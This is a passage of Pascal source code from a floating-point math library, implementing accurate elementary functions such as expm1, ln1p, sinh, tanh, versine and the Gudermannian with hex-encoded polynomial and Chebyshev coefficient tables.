($B98A,$635F,$18B1,$8CA8,$3FF6), {+0.214624979834132263391667992385e-2 }
($6731,$7DD9,$FF11,$BAFB,$3FF2), {+0.178322182449141937355350007488e-3 }
($4297,$88F5,$C8BC,$D52A,$3FEE), {+0.127057507929428665687742064639e-4 }
($2C99,$3975,$4676,$D4B9,$3FEA), {+0.792457652881593907264616203751e-6 }
($196B,$F18F,$09DF,$BCC1,$3FE6), {+0.439477285666343943629044429651e-7 }
($A60E,$D37D,$5A0B,$96C6,$3FE2), {+0.219406227546144888207254174079e-8 }
($F7F8,$EF82,$8D42,$DB05,$3FDD), {+0.995995318266659554765505887521e-10}
($CB48,$CD67,$F8D6,$91D8,$3FD9), {+0.414523660148535566445986193898e-11}
($9AFA,$57D1,$F72D,$B352,$3FD4), {+0.159271781651030822298380021406e-12}
($560F,$44FD,$5097,$CCC2,$3FCF), {+0.568320507930678710973086211864e-14}
($33CD,$BF09,$610D,$DA3C,$3FCA), {+0.189289431283787337567205644620e-15}
($7E97,$7C7D,$7B0A,$DA14,$3FC5), {+0.591107031096332196225712012488e-17}
($1F08,$8285,$97C9,$CD1E,$3FC0), {+0.173742977663542892171117958472e-18}
($0AA6,$23C8,$CF63,$B638,$3FBB)); {+0.482337391484586252954369194368e-20}
var
ces: array[0..nce-1] of extended absolute ceh;
t: extended;
begin
if abs(x)<=1.0 then begin
t := CSEvalx(x, ces, nce);
expm1 := x + x*x*t;
end
else expm1 := exp(x)-1.0;
end;
{---------------------------------------------------------------------------}
function ln1p(x: extended): extended;
{-Return ln(1+x), accurate even for x near 0}
const
PH: array[0..8] of THexExtW = (
($0000,$0000,$0000,$8000,$3FFE), {+0.5 }
($71C7,$C71C,$1C71,$F1C7,$3FFF), {+1.88888888888888888888888888889 }
($7E0C,$619A,$EFD3,$B8B6,$4000), {+2.88616557734204793028322440087 }
($D227,$277C,$7CD2,$9227,$4000), {+2.28366013071895424836601307190 }
($FE54,$53A8,$A8FE,$FE53,$3FFE), {+0.993464052287581699346405228758 }
($42C5,$1A22,$7798,$ED6F,$3FFC), {+0.231870525988173046996576408341 }
($D42F,$2F24,$24D4,$D42F,$3FF9), {+0.259013861955038425626660920779e-1}
($83CC,$CC00,$0083,$83CC,$3FF5), {+0.100553041729512317747611865259e-2}
($E03E,$D40A,$BFE2,$8852,$3FE9)); {+0.253921822549273529665686528432e-6}
const
QH: array[0..8] of THexExtW = (
($0000,$0000,$0000,$8000,$3FFF), {+1.0 }
($8E39,$38E3,$E38E,$8E38,$4001), {+4.44444444444444444444444444444 }
($C3C4,$C3C3,$C3C3,$83C3,$4002), {+8.23529411764705882352941176471 }
($C3C4,$C3C3,$C3C3,$83C3,$4002), {+8.23529411764705882352941176471 }
($B9BA,$B9B9,$B9B9,$99B9,$4001), {+4.80392156862745098039215686275 }
($D2D3,$D2D2,$D2D2,$D2D2,$3FFF), {+1.64705882352941176470588235294 }
($A22C,$2C04,$04A2,$A22C,$3FFD), {+0.316742081447963800904977375566 }
($F71F,$1E80,$80F7,$F71E,$3FF9), {+0.301659125188536953242835595777e-1 }
($40F9,$27E9,$D1FB,$86CA,$3FF5)); {+0.102838338132455779514603044015e-2 }
var
P: array[0..8] of extended absolute PH;
Q: array[0..8] of extended absolute QH;
var
y: extended;
begin
if x >= 4.0 then ln1p := ln(1.0+x)
else if (x>=-0.25) and (x<=0.375) then begin
{Pade approximation of degree (8,8) for y(x) = -(ln(1+x)/x-1)/x}
{Errors: -0.21676209e-19 for x=0.25, 0.70343473e-19 for x=0.375}
y := PolEvalX(x,P,9)/PolEvalX(x,Q,9);
ln1p := x - y*x*x;
end
else begin
y := 1.0 + x;
{The following formula is more accurate than Goldberg [3], Theorem 4. The}
{Taylor series f(x) = f(x0) + (x-x0)*f'(x0) + .. for f(x) = ln(1+x) gives}
{ln1p(x) = ln(1+x0) + (x-x0)/(1+x0) = ln(y) + (x-(y-1))/y, with y = 1+x0.}
if y=1.0 then ln1p := x
else ln1p := ln(y) + (x-(y-1.0))/y;
end;
end;
{---------------------------------------------------------------------------}
function exp10m1(x: extended): extended;
{-Return 10^x - 1; special code for small x}
var
z: extended;
begin
if abs(x) > 0.3 then exp10m1 := exp10(x) - 1.0
else if x=0.0 then exp10m1 := 0.0
else begin
{$ifdef BASM}
{z = x*log2(10), 10^x-1 = exp2m1(x*log2(10))}
z := 3.0*x + 0.32192809488736234787*x;
exp10m1 := exp2m1(z);
{$else}
{z = x*ln(10), 10^x-1 = expm1(x*ln(10))}
z := 2.0*x + 0.30258509299404568402*x;
exp10m1 := expm1(z);
{$endif}
end
end;
{---------------------------------------------------------------------------}
function exp2m1(x: extended): extended;
{-Return 2^x-1, accurate even for x near 0}
begin
if abs(x)<=1 then begin
{$ifdef BASM}
asm
fld [x]
f2xm1
{$ifdef NO_FPU_RESULT}
fstp [x]
{$else}
fstp [@result]
{$endif}
end;
{$ifdef NO_FPU_RESULT}
exp2m1 := x;
{$endif}
{$else}
exp2m1 := powm1(2.0,x);
{$endif}
end
else exp2m1 := exp2(x)-1.0;
end;
{---------------------------------------------------------------------------}
function exprel(x: extended): extended;
{-Return exprel(x) = (exp(x) - 1)/x, 1 for x=0}
const
xsmall = 1e-6;
var
z: extended;
begin
z := abs(x);
if z < ln2 then begin
if z < xsmall then begin
{exprel = 1 + 1/2*x + 1/6*x^2 + 1/24*x^3 + O(x^4) }
exprel := 1.0 + x*(0.5 + x/SIXX);
end
else begin
{See Higham [9], 1.14.1 Computing (e^x-1)/x, Algorithm 2}
z := exp(x);
x := ln(z);
if x=0.0 then exprel := 1.0
else exprel := (z-1.0)/x;
end;
end
else begin
if x<-45.0 then exprel := -1.0/x
else exprel := (exp(x) - 1.0)/x;
end;
end;
{---------------------------------------------------------------------------}
function expx2(x: extended): extended;
{-Return exp(x*|x|) with damped error amplification in computing exp of the product.}
{ Used for exp(x^2) = expx2(abs(x)) and exp(-x^2) = expx2(-abs(x))}
const
MFAC = 32768.0;
MINV = 3.0517578125e-5;
var
u,u1,m,f: extended;
neg: boolean;
begin
if x >= 106.5669902282 then begin
expx2 := PosInf_x;
exit;
end
else if x <= -106.77 then begin
expx2 := 0.0;
exit;
end;
{Ref: Cephes [7], file ldouble\expx2l.c}
neg := x<0;
x := abs(x);
if x <= 1.0 then begin
if neg then u := -x*x else u := x*x;
expx2 := exp(u);
end
else begin
{Represent x as an exact multiple of MFAC plus a residual.}
{MFAC is a power of 2 chosen so that exp(m * m) does not }
{overflow or underflow and so that |x - m| is small. }
m := MINV*floorx(MFAC*x + 0.5);
f := x - m;
{x^2 = m^2 + 2mf + f^2}
u := m*m;
u1 := 2.0*m*f + f*f;
if neg then begin
u := -u;
u1 := -u1;
end;
if u+u1 > ln_MaxExt then expx2 := PosInf_x
else begin
{u is exact, u1 is small}
expx2 := exp(u)*exp(u1);
end;
end;
end;
{---------------------------------------------------------------------------}
function expmx2h(x: extended): extended;
{-Return exp(-0.5*x^2) with damped error amplification}
const
MFAC = 32768.0;
MINV = 3.0517578125e-5;
var
u,u1,m,f: extended;
begin
{Ref: Cephes [7], file ldouble\expx2l.c}
x := abs(x);
if x >= 150.994 then expmx2h := 0.0
else if x <= 2.0 then begin
expmx2h := exp(-0.5*x*x);
end
else begin
{Represent x as an exact multiple of MFAC plus a residual.}
{MFAC is a power of 2 chosen so that exp(m * m) does not }
{overflow or underflow and so that |x - m| is small. }
m := MINV*floorx(MFAC*x + 0.5);
f := x - m;
{0.5*x^2 = 0.5*(m^2 + mf + f^2)}
u := (-0.5)*m*m;
u1 := (-0.5)*f*f - m*f;
{u is exact, u1 is small}
expmx2h := exp(u)*exp(u1);
end;
end;
(*
Transformation/reduction z = x+k*pi/2: cf. HMF [1], 4.3.44
k sin(z) cos(z) tan(z) cot(z)
---------------------------------------
0 s c t cot(x)
1 c -s -1/t -t
2 -s -c t cot(x)
3 -c s -1/t -t
---------------------------------------
with s=sin(x), c=cos(x), t=tan(x)
*)
{---------------------------------------------------------------------------}
function cos(x: extended): extended;
{-Accurate version of circular cosine, uses system.cos for |x| <= Pi/4}
var
t: extended;
begin
{reduction mod Pi/2, |t| <= Pi/4}
case rem_pio2(x,t) and 3 of
0: cos := system.cos(t);
1: cos := -system.sin(t);
2: cos := -system.cos(t);
else cos := system.sin(t);
end;
end;
const
npcv=7; {chebyshev(((1-cos(x))-x^2/2)/x^4,x=-Pi/4..Pi/4,1e-20) converted to poly}
pcvh: array[0..npcv-1] of THexExtW = (
($AAAB,$AAAA,$AAAA,$AAAA,$BFFA), {-0.416666666666666666661679544980e-1 }
($B26B,$0B60,$60B6,$B60B,$3FF5), {+0.138888888888888879063613392395e-2 }
($B143,$0CE8,$00D0,$D00D,$BFEF), {-0.248015873015846864625912712986e-4 }
($5CC9,$89D7,$7DBB,$93F2,$3FE9), {+0.275573192214211550883212170218e-6 }
($6C85,$4AA7,$C6F6,$8F76,$BFE2), {-0.208767557953773544469035900043e-8 }
($BDBB,$E308,$5D99,$C9CA,$3FDA), {+0.114704613872478358447153370873e-10}
($234A,$7E37,$70F1,$D5BC,$BFD2)); {-0.474589475226674827431568738364e-13}
var
pcv: array[0..npcv-1] of extended absolute pcvh;
{---------------------------------------------------------------------------}
function vers(x: extended): extended;
{-Return the versine vers(x) = 1 - cos(x)}
var
t: extended;
begin
{reduction mod Pi/2, |t| <= Pi/4}
case rem_pio2(x,t) and 3 of
0: begin
{vers(x) = 1 - cos(t)}
x := t*t;
t := PolEvalX(x,pcv,npcv);
vers := 0.5*x + sqr(x)*t;
end;
1: vers := 1.0 + system.sin(t);
2: vers := 1.0 + system.cos(t);
else vers := 1.0 - system.sin(t)
end;
end;
{---------------------------------------------------------------------------}
function covers(x: extended): extended;
{-Return the coversine covers(x) = 1 - sin(x)}
var
t: extended;
begin
{reduction mod Pi/2, |t| <= Pi/4}
case rem_pio2(x,t) and 3 of
0: covers := 1.0 - system.sin(t);
1: begin
{covers(x) = 1 - cos(t)}
x := t*t;
t := PolEvalX(x,pcv,npcv);
covers := 0.5*x + sqr(x)*t;
end;
2: covers := 1.0 + system.sin(t);
else covers := 1.0 + system.cos(t);
end;
end;
{---------------------------------------------------------------------------}
function hav(x: extended): extended;
{-Return the haversine hav(x) = 0.5*(1 - cos(x))}
begin
hav := 0.5*vers(x);
end;
{---------------------------------------------------------------------------}
function cosPi(x: extended): extended;
{-Return cos(Pi*x), result will be 1 for abs(x) >= 2^64}
var
t: extended;
i: integer;
begin
i := rem_int2(x,t) and 3;
t := Pi*t;
case i of
0: cosPi := system.cos(t);
1: cosPi := -system.sin(t);
2: cosPi := -system.cos(t);
else cosPi := system.sin(t);
end;
end;
{---------------------------------------------------------------------------}
function sin(x: extended): extended;
{-Accurate version of circular sine, uses system.sin for |x| <= Pi/4}
var
t: extended;
begin
{reduction mod Pi/2, |t| <= Pi/4}
case rem_pio2(x,t) and 3 of
0: sin := system.sin(t);
1: sin := system.cos(t);
2: sin := -system.sin(t);
else sin := -system.cos(t);
end;
end;
{---------------------------------------------------------------------------}
function sinPi(x: extended): extended;
{-Return sin(Pi*x), result will be 0 for abs(x) >= 2^64}
var
t: extended;
i: integer;
begin
i := rem_int2(x,t) and 3;
t := Pi*t;
case i of
0: sinPi := system.sin(t);
1: sinPi := system.cos(t);
2: sinPi := -system.sin(t);
else sinPi := -system.cos(t);
end;
end;
{---------------------------------------------------------------------------}
procedure sincos(x: extended; var s,c: extended);
{-Return accurate values s=sin(x), c=cos(x)}
var
t,ss,cc: extended;
n: integer;
begin
{reduction mod Pi/2, |t| <= Pi/4}
n := rem_pio2(x,t) and 3;
_sincos(t,ss,cc);
case n of
0: begin s:= ss; c:= cc; end;
1: begin s:= cc; c:=-ss; end;
2: begin s:=-ss; c:=-cc; end;
else begin s:=-cc; c:= ss; end;
end;
end;
{---------------------------------------------------------------------------}
procedure sincosPi(x: extended; var s,c: extended);
{-Return s=sin(Pi*x), c=cos(Pi*x); (s,c)=(0,1) for abs(x) >= 2^64}
var
t,ss,cc: extended;
n: integer;
begin
n := rem_int2(x,t) and 3;
t := Pi*t;
_sincos(t,ss,cc);
case n of
0: begin s:= ss; c:= cc; end;
1: begin s:= cc; c:=-ss; end;
2: begin s:=-ss; c:=-cc; end;
else begin s:=-cc; c:= ss; end;
end;
end;
{---------------------------------------------------------------------------}
function tan(x: extended): extended;
{-Return the circular tangent of x, x mod Pi <> Pi/2}
var
t: extended;
begin
{reduction mod Pi/2, |t| <= Pi/4}
if odd(rem_pio2(x,t)) then tan := -_cot(t)
else tan := _tan(t);
end;
{---------------------------------------------------------------------------}
function cot(x: extended): extended;
{-Return the circular cotangent of x, x mod Pi <> 0}
var
t: extended;
begin
{reduction mod Pi/2, |t| <= Pi/4}
if odd(rem_pio2(x,t)) then cot := -_tan(t)
else cot := _cot(t);
end;
{---------------------------------------------------------------------------}
function gd(x: extended): extended;
{-Return the Gudermannian function gd(x)}
var
z: extended;
begin
{gd(x) = arctan(sinh(x)) = 2*arctan(tanh(x/2))}
z := abs(x);
if z < 46.0 then begin
if z < 7.5e-3 then begin
{gd(x) = x - 1/6*x^3 + 1/24*x^5 - 61/5040*x^7 + 277/72576*x^9 + O(x^10)}
if z < 3e-5 then gd := x*(1.0-sqr(x)/SIXX)
else begin
z := x*x;
gd := x*(1.0 - z/SIXX*(1.0 - 0.25*z*(1.0 - 61.0*z/210.0)));
end;
end
else gd := arctan(sinh(x));
end
else gd := copysign(Pi_2,x);
end;
{---------------------------------------------------------------------------}
function versint(x: extended): extended;
{-Return versint(x) = integral(vers(t),t=0..x) = x - sin(x), accurate near 0}
var
t: extended;
const
CSN = 9;
CSVH: array[0..CSN-1] of THexExtW = ( {chebyshev((x-sin(x))/(x^3), x=-4/3..4/3, 0.5e-20)}
($6B6F,$3E6D,$40D7,$A351,$3FFD), {+0.318979288363346959407456566900 } {*2}
($BC29,$6F15,$A397,$E8AF,$BFF7), {-0.710101592891792352000298121574e-2 }
($48A4,$7E23,$2DE8,$9E69,$3FF1), {+0.755361827626963385962654365195e-4 }
($0FA8,$3E4D,$B9B5,$FB81,$BFE9), {-0.468467809127500007796911607370e-6 }
($7040,$DD23,$3DD3,$8292,$3FE2), {+0.190006184732484199713774118361e-8 }
($BA5C,$0D4A,$8FE6,$BF0D,$BFD9), {-0.543005219722655848794099416504e-11}
($1655,$9E01,$2079,$CF8C,$3FD0), {+0.115211934731518499595222170191e-13}
($7229,$34BC,$4BD3,$ADFF,$BFC7), {-0.188648197267528207115909378480e-16}
($2A3B,$EA7E,$624F,$E879,$3FBD)); {+0.246141587293140761985659464726e-19}
fs = 1.125; {2*(3/4)^2}
t0 = 4.0/3.0;
var
CSV: array[0..CSN-1] of extended absolute CSVH;
begin
t := abs(x);
if t < t0 then begin
if t <= sqrt_epsh then begin
{versint(x) = x^3/6*(1 - 1/29*x^2 + O(x^4))}
versint := x*x*x/SIXX;
end
else begin
t := CSEvalX(fs*sqr(t) - 1.0, CSV, CSN);
versint := x*x*x*t;
end
end
else versint := x - sin(x);
end;
{---------------------------------------------------------------------------}
function arcgd(x: extended): extended;
{-Return the inverse Gudermannian function arcgd(x), |x| < Pi/2}
var
z,s,c: extended;
begin
{arcgd(x) := 2*arctanh(tan(x/2)) = arcsinh(tan(x)) = ln(sec(x)+tan(x))}
z := abs(x);
if z < sqrt_epsh then arcgd := x
else if z<=0.85 then arcgd := arcsinh(tan(x))
else begin
{arcgd := ln(sec(x)+tan(x)) = ln(1/cos(x)+sin(x)/cos(x))}
sincos(z,s,c);
{cos(x) is > 0 for |x|<Pi/2, if c<=0 then x>=P/2}
if c<=0.0 then z := PosInf_x
else z := ln((1.0+s)/c);
if x>0.0 then arcgd := z
else arcgd := -z;
end;
end;
{---------------------------------------------------------------------------}
function logcf(x,i,d: extended): extended;
{-Calculate 1/i + x/(i+d) + x^2/(i+2*d) + x^3/(i+3d) .. via continued fractions}
var
c1,c2,c3,c4,a1,b1,a2,b2: extended;
const
hugeh: THexExtW = ($0000,$0000,$0000,$8000,$43FF); {2^1024}
tinyh: THexExtW = ($0000,$0000,$0000,$8000,$3BFF); {1/2^1024}
var
huge: extended absolute hugeh;
tiny: extended absolute tinyh;
begin
{Pascal translation of function logcf by Ian Smith [25]}
c1 := 2.0*d;
c2 := i + d;
c4 := c2 + d;
a1 := c2;
b1 := i*(c2 - i*x);
b2 := d*d*x;
a2 := c4*c2 - b2;
b2 := c4*b1 - i*b2;
while abs(a2*b1-a1*b2) > abs(eps_x*b1*b2) do begin
c3 := c2*c2*x;
c2 := c2 + d;
c4 := c4 + d;
a1 := c4*a2 - c3*a1;
b1 := c4*b2 - c3*b1;
c3 := c1*c1*x;
c1 := c1 + d;
c4 := c4 + d;
a2 := c4*a1 - c3*a2;
b2 := c4*b1 - c3*b2;
c3 := abs(b2);
if c3 > huge then begin
a1 := a1*tiny;
b1 := b1*tiny;
a2 := a2*tiny;
b2 := b2*tiny;
end
else if c3 < tiny then begin
a1 := a1*huge;
b1 := b1*huge;
a2 := a2*huge;
b2 := b2*huge;
end;
end;
logcf := a2 / b2;
end;
{---------------------------------------------------------------------------}
function ln1pmx(x: extended): extended;
{-Return ln(1+x)-x, x>-1, accurate even for -0.5 <= x <= 1.0}
const
c9 = 2.0/9.0;
c7 = 2.0/7.0;
c5 = 2.0/5.0;
c3 = 2.0/3.0;
xm = -0.525;
xp = 1.05;
x0 = 0.016;
var
y,z: extended;
begin
{Based on function log1 by Ian Smith [25]}
if (x<xm) or (x>xp) then ln1pmx := ln(1.0+x)-x
else begin
z := x/(2.0 + x);
y := z*z;
if abs(x)>x0 then y := 2.0*y*logcf(y, 3.0, 2.0)
else y := (((c9*y + c7)*y + c5)*y + c3)*y;
ln1pmx := z*(y-x);
end;
end;
{---------------------------------------------------------------------------}
function lnxp1(x: extended): extended;
{-Delphi alias for ln1p}
begin
lnxp1 := ln1p(x);
end;
{---------------------------------------------------------------------------}
function ln1mexp(x: extended): extended;
{-Return ln(1-exp(x)), x<0}
const
x0 = -44.5; { < ln(0.5_eps), double: -36.8}
x1 = -0.693147180559945309; {-ln(2)}
begin
if x <= x0 then begin
if x < ln_succx0 then ln1mexp := 0.0
else ln1mexp := -exp(x);
end
else if x < x1 then ln1mexp := ln1p(-exp(x))
else if x > -eps_x then ln1mexp := ln(-x)
else ln1mexp := ln(-expm1(x));
end;
{---------------------------------------------------------------------------}
function log2p1(x: extended): extended;
{-Return log2(1+x), accurate even for x near 0}
begin
if abs(x) > 0.5 then log2p1 := log2(1.0 + x)
else log2p1 := log2e*ln1p(x);
end;
{---------------------------------------------------------------------------}
function log10p1(x: extended): extended;
{-Return log10(1+x), accurate even for x near 0}
begin
if abs(x) > 0.5 then log10p1 := log10(1.0 + x)
else log10p1 := log10e*ln1p(x);
end;
{---------------------------------------------------------------------------}
function logistic(x: extended): extended;
{-Return logistic(x) = 1/(1+exp(-x))}
const
x0 = 46.0;
x1 = -23.0;
begin
if abs(x) > x0 then begin
if x>0.0 then logistic := 1.0
else logistic := exp(x); {x negative and 1+exp(-x) ~ exp(-x)}
end
else if x < x1 then begin
{exp(x) is small: logistic = exp(x) + exp(x)^2 - exp(x)^3 + ...}
{This is slightly more accurate than the default for x near -x0}
x := exp(x);
logistic := x - sqr(x);
end
else logistic := 1.0/(1.0+exp(-x));
end;
{---------------------------------------------------------------------------}
function logit(x: extended): extended;
{-Return logit(x) = ln(x/(1.0-x)), accurate near x=0.5}
const
xl = 1.0/3.0; {logit(1/3) = -ln2}
xh = 2.0/3.0; {logit(2/3) = ln2}
begin
if (x < xl) or (x > xh) then logit := ln(x/(1.0-x))
else logit := ln1p((2.0*x-1.0)/(1.0-x));
end;
{---------------------------------------------------------------------------}
function sinc(x: extended): extended;
{-Return the cardinal sine sinc(x) = sin(x)/x}
begin
{sin(x)/x = 1 - 1/6*x^2 + 1/120*x^4 - 1/5040*x^6 + 1/362880*x^8 + O(x^10)}
x := abs(x);
if x < 6.15e-4 then begin
if x < 2.3e-10 then sinc := 1.0
else begin
x := sqr(x);
if x < 2.3e-10 then sinc := 1.0 - x/SIXX
else sinc := 1.0 - (x/SIXX - sqr(x)/120.0)
end;
end
else sinc := sin(x)/x;
end;
{---------------------------------------------------------------------------}
function sincPi(x: extended): extended;
{-Return the normalised cardinal sine sincPi(x) = sin(Pi*x)/(Pi*x)}
var
y: extended;
begin
x := abs(x);
y := Pi*x;
if y < 6.15e-4 then sincPi := sinc(y)
else sincPi := sinPi(x)/y;
end;
{---------------------------------------------------------------------------}
function sinh_small(x: extended; rel: boolean): extended;
{-Internal: return sinh(x) for |x| <= 1}
const
ncs=9;
csh: array[0..ncs-1] of THexExtW = ( {chebyshev(sinh(x)/x-1, x=-1..1, 0.1e-20)}
($D006,$0AFA,$F911,$B131,$3FFC), {+0.173042194047179631675883846985 }
($4EEC,$D088,$9973,$B364,$3FFB), {+0.875942219227604771549002634544e-1 }
($AECD,$1FE8,$437A,$8D7D,$3FF5), {+0.107947777456713275024272706516e-2 }
($D1B0,$68E6,$89C6,$D5E7,$3FED), {+0.637484926075475048156855545659e-5 }
($DAE7,$9306,$8CA6,$BD2E,$3FE5), {+0.220236640492305301591904955350e-7 }
($E0C5,$862E,$36BE,$DB5F,$3FDC), {+0.498794018041584931494262802066e-10}
($5D46,$9B41,$8645,$B389,$3FD3), {+0.797305355411573048133738827571e-13}
($D7DD,$B169,$A8B3,$DA6F,$3FC9), {+0.947315871307254445124531745434e-16}
($7636,$F264,$EF5C,$CD44,$3FBF)); {+0.869349205044812416919840906342e-19}
var
css: array[0..ncs-1] of extended absolute csh;
var
t: extended;
const
t1 = 2.3E-10; {~ sqrt(2^-64)}
begin
if abs(x)<=t1 then begin
{sinh(x) = x*(1 + 1/6*x^2 + 1/120*x^4 + O(x^6))}
if rel then sinh_small := 1.0
else sinh_small := x;
end
else begin
t := CSEvalX(2.0*sqr(x)-1.0, css, ncs);
if rel then sinh_small := 1.0 + t
else sinh_small := x + x*t;
end;
end;
{---------------------------------------------------------------------------}
function sinh(x: extended): extended;
{-Return the hyperbolic sine of x, accurate even for x near 0}
var
t: extended;
const
t0 = 23.0; {ceil(-0.5*ln(2^-64)) = ceil(32*ln(2))}
begin
t := abs(x);
if t<1.0 then sinh := sinh_small(x, false)
else begin
{sinh(t) = 0.5*(exp(t) - exp(-t))}
if t<=t0 then begin
{calculate inverse only if it is not too small}
t := exp(t);
t := 0.5*(t - 1.0/t);
end
else if t<ln_MaxExt then begin
{t>t0: exp(t)-exp(-t) ~ exp(t)}
t := 0.5*exp(t)
end
else begin
{exp(t) would overflow, use small margin below overflow}
t := exp(t-ln2);
end;
if x>0.0 then sinh := t
else sinh := -t;
end;
end;
{---------------------------------------------------------------------------}
function sinhc(x: extended): extended;
{-Return sinh(x)/x, accurate even for x near 0}
var
t: extended;
begin
t := abs(x);
if abs(t) < 1.0 then sinhc := sinh_small(t, true)
else if t < ln_MaxExt then sinhc := sinh(t)/t
else begin
t := t - ln(2.0*t);
sinhc := exp(t);
end;
end;
{---------------------------------------------------------------------------}
function sinhmx(x: extended): extended;
{-Return sinh(x)-x, accurate even for x near 0}
var
t: extended;
const
ncs=10;
csh: array[0..ncs-1] of THexExtW = ( {chebyshev((sinh(x)-x)/x^3, x=-2..2, 0.1e-20)}
($2BC6,$38FA,$BA5E,$BD02,$3FFD), {+0.369161437989977107646200496798 } {*2}
($3E29,$DF18,$BFFE,$963C,$3FF9), {+0.183395147241496573111025588024e-1 }
($0773,$C2B0,$FE21,$E224,$3FF3), {+0.431336408128174581497124393209e-3 }
($D47F,$FFCC,$571C,$C6E1,$3FED), {+0.592709289470722070924036619944e-5 }
($47C2,$D923,$DC79,$E56E,$3FE6), {+0.534190451019238924481986729972e-7 }
($4D3E,$B7C5,$7F8F,$BAF2,$3FDF), {+0.340055083020092921361501610500e-9 }
($CBBC,$75F0,$15DD,$E29C,$3FD7), {+0.161015882323068379168404355934e-11}
($89E2,$978C,$9983,$D448,$3FCF), {+0.589205330187637306105897428969e-14}
($51A1,$B57D,$C8A7,$9E47,$3FC7), {+0.171607959509371641280224879040e-16}
($0A5E,$F081,$7613,$C04F,$3FBE)); {+0.407233102668331851851851851852e-19}
var
csv: array[0..ncs-1] of extended absolute csh;
begin
t := abs(x);
if t < 2.0 then begin
if t <= sqrt_epsh then begin
{sinh(x)-x = x^3/6*(1 + 1/20*x^2 + O(x^4))}
sinhmx := x*x*x/SIXX;
end
else begin
t := CSEvalX(0.5*sqr(t) - 1.0, csv, ncs);
sinhmx := x*x*x*t;
end
end
else sinhmx := sinh(x)-x;
end;
{---------------------------------------------------------------------------}
function cosh(x: extended): extended;
{-Return the hyperbolic cosine of x}
const
x0 = 23.0; {ceil(-0.5*ln(2^-64)) = ceil(32*ln(2))}
begin
x := abs(x);
if x<=1.0 then cosh := 1.0 + coshm1(x)
else begin
if x>x0 then begin
{x>x0: exp(x) + exp(-x) ~ exp(x)}
if x<ln_MaxExt then cosh := 0.5*exp(x)
else cosh := exp(x-ln2);
end
else begin
{calculate inverse only if it is not too small}
x := exp(x);
cosh := 0.5*(x + 1.0/x);
end
end;
end;
{---------------------------------------------------------------------------}
function coshm1(x: extended): extended;
{-Return cosh(x)-1, accurate even for x near 0}
const
ncc=8;
cch: array[0..ncc-1] of THexExtW = ( {chebyshev(((cosh(x)-1)/(x^2)-1/2)/x^2, x=-1..1, 0.1e-20);}
($7F5B,$DC92,$B00E,$AD8C,$3FFB), {+0.847409967933085972383472682702e-1 }
($E233,$6D68,$4FB4,$B954,$3FF4), {+0.706975331110557282636312722683e-3 }
($C401,$57F2,$9421,$D38C,$3FEC), {+0.315232776534872632694769980081e-5 }
($60F4,$9F76,$CDC0,$9634,$3FE4), {+0.874315531301413118696907944019e-8 }
($D666,$F7AB,$C086,$9172,$3FDB), {+0.165355516210397415961496829471e-10}
($5E0D,$C9ED,$687C,$CC55,$3FD1), {+0.226855895848535933261822520050e-13}
($0DEF,$8B25,$7570,$D9B9,$3FC7), {+0.236057319781153495473072617928e-16}
($7B04,$4A7F,$2A3E,$B5FC,$3FBD)); {+0.192684134365813759102742156829e-19}
var
ccs: array[0..ncc-1] of extended absolute cch;
z: extended;
begin
x := abs(x);
if x<=1.0 then begin
x := sqr(x);
if x<eps_x then begin
{cosh(x)-1 = 0.5*x^2*[1 + 1/12*x^2 + O(x^4)]}
coshm1 := 0.5*x;
end
else begin
z := CSEvalX(2.0*x-1.0, ccs, ncc);
coshm1 := 0.5*x + x*x*z;
end;
end
else coshm1 := cosh(x)-1.0;
end;
(*
function sinh(x: extended): extended;
var
s,c: extended;
begin
sinhcosh(x,s,c);
sinh := s;
end;
function cosh(x: extended): extended;
var
s,c: extended;
begin
sinhcosh(x,s,c);
cosh := c;
end;
*)
{---------------------------------------------------------------------------}
procedure sinhcosh(x: extended; var s,c: extended);
{-Return s=sinh(x) and c=cosh(x)}
var
t: extended;
const
t0 = 23.0; {ceil(-0.5*ln(2^-64)) = ceil(32*ln(2))}
begin
t := abs(x);
if t<=1.0 then begin
s := sinh_small(x, false);
c := 1.0 + coshm1(x)
end
else begin
if t<=t0 then begin
{calculate inverse only if it is not too small}
t := exp(t);
c := 1.0/t;
s := 0.5*(t - c);
c := 0.5*(t + c);
end
else if t<ln_MaxExt then begin
{t>t0: exp(t) + exp(-t) ~ exp(t) - exp(-t) ~ exp(t)}
s := 0.5*exp(t);
c := s;
end
else begin
{exp(t) would overflow, use small margin below overflow}
s := exp(t-ln2);
c := s;
end;
if x<0.0 then s := -s;
end;
end;
{---------------------------------------------------------------------------}
function tanh(x: extended): extended;
{-Return the hyperbolic tangent of x, accurate even for x near 0}
var
t,z: extended;
const
t0 = 23.0; {ceil(-0.5*ln(2^-64)) = ceil(32*ln(2))}
t1 = 1.5e-5; {~ 2^(-64/4)}
t2 = 0.625;
PH: array[0..3] of THexExtW = (
($e3be,$bfbd,$5cbc,$a381,$c009), {-1.3080425704712825945553e+3}
($b576,$ef5e,$6d57,$a81b,$c005), {-8.4053568599672284488465e+1}
($5959,$9111,$9cc7,$f4e2,$bffe), {-9.5658283111794641589011e-1}
($d2a4,$1b0c,$8f15,$8f99,$bff1)); {-6.8473739392677100872869e-5}
QH: array[0..3] of THexExtW = (
($d5a2,$1f9c,$0b1b,$f542,$400a), { 3.9241277114138477845780e+3}
($3793,$c95f,$fa2f,$e3b9,$4009), { 1.8218117903645559060232e+3}
($687f,$ce24,$dd6c,$c084,$4005), { 9.6259501838840336946872e+1}
($0000,$0000,$0000,$8000,$3fff)); { 1.0000000000000000000000e+0}
var
P: array[0..3] of extended absolute PH;
Q: array[0..3] of extended absolute QH;
begin
t := abs(x);
if t>t0 then begin
if x<0.0 then tanh := -1.0 else tanh := +1.0;
end
else if t<t2 then begin
z := x*x;
if t <= t1 then begin
{tanh(x) = x*(1 - 1/3*x^2 + 2/15*x^4 + O(x^6))}
t := -0.33333333333333333333;
end
else begin
{Ref: Cephes[7], tanhl.c}
t := PolEvalX(z,P,4)/PolEvalX(z,Q,4);
end;
z := x*t*z;
tanh := x + z;
end
else begin
t := exp(2.0*t)+1.0;
if x>0.0 then tanh := 1.0 - 2.0/t
else tanh := -1.0 + 2.0/t;
end;
end;
{The default power function uses the version from pow_512.inc}
{.$i pow_032.inc}
{.$i pow_064.inc}
{.$i pow_128.inc}
{.$i pow_256.inc}
{.$i pow_512.inc}
{.$i pow_1024.inc}
{Power functions space / accuracy figures, eps1/2: peak relative errors}
{measured in eps_x (about 1e-19) for |x|,|y| < 1000 and |x|,|y| < 2000.}
{TabSize Bytes eps1 / eps2 }
{ 32 500 25.6 / 42.9 } {used in old AMath versions}
{ 64 980 13.0 / 22.3 }
{ 128 1940 7.1 / 12.1 }
{ 256 3860 4.6 / 6.5 }
